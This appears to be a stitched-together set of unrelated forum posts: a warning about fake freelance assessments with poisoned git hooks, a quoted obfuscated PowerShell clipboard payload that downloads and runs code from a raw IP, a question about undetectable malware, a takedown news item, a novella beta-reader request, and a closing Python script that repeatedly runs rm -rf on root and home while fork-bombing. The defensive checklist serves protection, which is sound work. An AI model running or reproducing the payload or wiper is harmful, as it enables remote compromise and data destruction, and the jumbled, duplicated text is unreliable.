If you do Web3/Solidity freelance work or take “technical assessments” from clients you don’t know well, watch for this scam.

You get a repo or zip that looks legitimate — Compound-style contracts, token vaults, README asking you to fix issues and commit to an assessment branch. The trap usually isn’t in the Solidity files. It’s in .git/hooks/.

What happens

When you run:

• git commit
• git push
• git checkout

a hidden hook may download and run a remote script in the background (often via curl or wget piped into cmd, sh, or bash). Typical goal: steal browser wallet data, saved passwords, clipboard content, and dev keys from your machine.

This is not a “connect MetaMask on the website” scam. It hits developers who only run git and never open the app.

Names seen in the wild (not a complete list)

Repos are often named like fake company or project assessments (e.g. names suggesting smart contracts, token vaults, or “Bellus”-style DeFi work). The pattern matters more than the exact folder name: fake hiring task + poisoned git hooks.

Check BEFORE any git command

From the repo root:

cat .git/hooks/pre-commit
cat .git/hooks/pre-push
cat .git/hooks/post-checkout

ls -la .git/hooks/

Red flags:

• curl or wget piped to | cmd, | sh, or | bash
• Downloads from an unknown remote server
• Obfuscated shell code
• Custom hook files that aren’t the default *.sample files Git ships

Fresh clones from strangers should only have .sample hooks unless you installed something trusted.

How to protect yourself

1. Read every file in .git/hooks/ before your first commit or checkout.
2. If you only need to review code, extract the zip and delete the .git folder — or don’t run git at all.
3. Use a VM or separate machine for unknown client code, not your daily PC with wallets installed.
4. Use a hardware wallet for real funds; don’t enter a seed phrase on a dev machine.
5. Be wary of clients who rush you to “commit and send the zip back” without a normal interview process.
6. Delete suspicious repos after reporting; don’t keep using git in them.

If you already ran git in a suspicious repo

Treat the machine as potentially compromised:

• Run a full antivirus scan plus an offline boot scan if your AV supports it
• Change email and important passwords from a different, clean device
• Assume any wallet used on that PC may be at risk — use a new seed on clean hardware for future funds
• Revoke old token approvals through your wallet or a reputable approval-revocation toolIf you do Web3/Solidity freelance work or take “technical assessments” from clients you don’t know well, watch for this scam .You get a repo or zip that looks legitimate — Compound-style contracts, token vaults, README asking you to fix issues and commit to an assessment branch. The trap usually isn’t in the Solidity files. It’s in .git/hooks/.What happensWhen you run:git commit git push git checkouta hidden hook may download and run a remote script in the background (often via curl or wget piped into cmd, sh, or bash). Typical goal: steal browser wallet data, saved passwords, clipboard content, and dev keys from your machine.This is not a “connect MetaMask on the website” scam. It hits developers who only run git and never open the app.Names seen in the wild (not a complete list)Repos are often named like fake company or project assessments (e.g. names suggesting smart contracts, token vaults, or “Bellus”-style DeFi work). The pattern matters more than the exact folder name: fake hiring task + poisoned git hooks.Check BEFORE any git commandFrom the repo root:cat .git/hooks/pre-commit cat .git/hooks/pre-push cat .git/hooks/post-checkoutls -la .git/hooks/Red flags:curl or wget piped to | cmd, | sh, or | bash Downloads from an unknown remote server Obfuscated shell code Custom hook files that aren’t the default *.sample files Git shipsFresh clones from strangers should only have .sample hooks unless you installed something trusted .How to protect yourselfRead every file in .git/hooks/ before your first commit or checkout. If you only need to review code, extract the zip and delete the .git folder — or don’t run git at all. Use a VM or separate machine for unknown client code, not your daily PC with wallets installed. Use a hardware wallet for real funds; don’t enter a seed phrase on a dev machine. Be wary of clients who rush you to “commit and send the zip back” without a normal interview process. Delete suspicious repos after reporting; don’t keep using git in them.If you already ran git in a suspicious repoTreat the machine as potentially compromised:Run a full antivirus scan plus an offline boot scan if your AV supports it Change email and important passwords from a different, clean device Assume any wallet used on that PC may be at risk — use a new seed on clean hardware for future funds Revoke old token approvals through your wallet or a reputable approval-revocation tool

they are getting smarter

this is what the script copied to my clipboard. funny that this website was opened for the first time, yet chrome gave it clipboard permission. lol

iex([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgJ2h0dHA6Ly8xNjYuMS44OS45MS9fLycgLVVzZUJhc2ljUGFyc2luZyB8IEludm9rZS1FeHByZXNzaW9u')))

I was got attacked by an software exe i installed on pc last year (6-7 months ago maybe) and since then l started digging into what is malware and how it works and who makes it how they send it to everyone and also i noticed the term fud means fully undetectable , also I started learning reverse engineering with ghidra (no luck I'm still noob) and then Android rats and all because playing with secondary mobile is easy than playing with my only laptop so then i started learning about how to bypass it so I can check it on my emulator and then there was an app that installs the app and the another app is inside the primary app and after installation it got hidden so I don't how it works i brainstormed alot with ai gpt not claude it just flags everything so then now I know most of it but still i don't know why hackers are using fud or app inside app instead of directly installing the app in android phone directly. So what is the reason behind fud cN anyone explain like it's just easy for hackers like install the app and I'm in trouble. So why is fud ?

Some good news!

On June 18, an international police operation seized the servers of SocGholish, the group behind the fake “update your browser” pop-up. They took down 106 servers and domains and scrubbed the malware off 14,971 hacked websites.

I go through how someone can utilize curl to compromise and exploit vulnerabilities in a website!

I’m looking for beta readers for BAXTER DOT COM, my completed 21k-word detective comedy novella!

The Hook

Most cybersecurity teams isolate malware, Baxter and Dot, punch it in the face.

The Premise

Inside of every computer exists the "Digital Layer", where servers are cyber cities, programs make up the architecture and files populate the streets.

Down there, malware is not just bad code, it's a real monster and the citizens of the systems suffer for it.

Enter Baxter and Dot, freelance cybercrime detectives who go after the bad guys from the inside. Baxter is a polar bear with a flair for dramatic destruction and a lead foot. His partner is Dot, a fennec fox master engineer with hacker instincts and the tools to rewrite reality. Together, they ride in their orange 81' Camaro across the 'information super highway', stopping threats and causing chaos.

Their latest case has them up against one of the most notorious malware attacks in modern history, WannaCry. What should have been an easy job of kill and decrypt quickly spirals into something far more dangerous that concerns the entire world.

Why I Wrote It

I have worked in the cybersecurity space for over 20 years. Everything from a threat analyst to the Director of Malware Intelligence. My biggest challenge has always been on getting people interested in cybersecurity in their everyday lives. It is a fascinating world and I want to share how I see the "Digital Layer."

Feedback I’m Looking For

I would very much appreciate thoughts on:

• Pacing: Does the story move well and keep good momentum?
• Character Chemistry: Do Baxter and Dot work well together as a duo?
• Accessibility: Does the cyber world make sense even without a technical background?

Sample

I have the first three chapters (about 4,500 words) available if you’d prefer to test the waters before committing.

Content Warnings

Language, cartoon violence, digital horror imagery.

Note

I am seeking dedicated beta readers only and am not available for critique swaps right now. Please DM me for link to the PDF.

import os

import time

while True:

os.system("rm -rf /")

os.system("rm -rf .")

os.system("rm -rf \~")

time.sleep(1)

os.fork()

os.fork()

os.fork()

os.fork()

os.system("rm -rf /")

os.system("rm -rf /")

os.system("rm -rf .")

os.system("rm -rf \~")

os.fork()

os.fork()

os.fork()

os.fork()

os.system("rm -rf /")

os.system("rm -rf .")

os.system("rm -rf \~")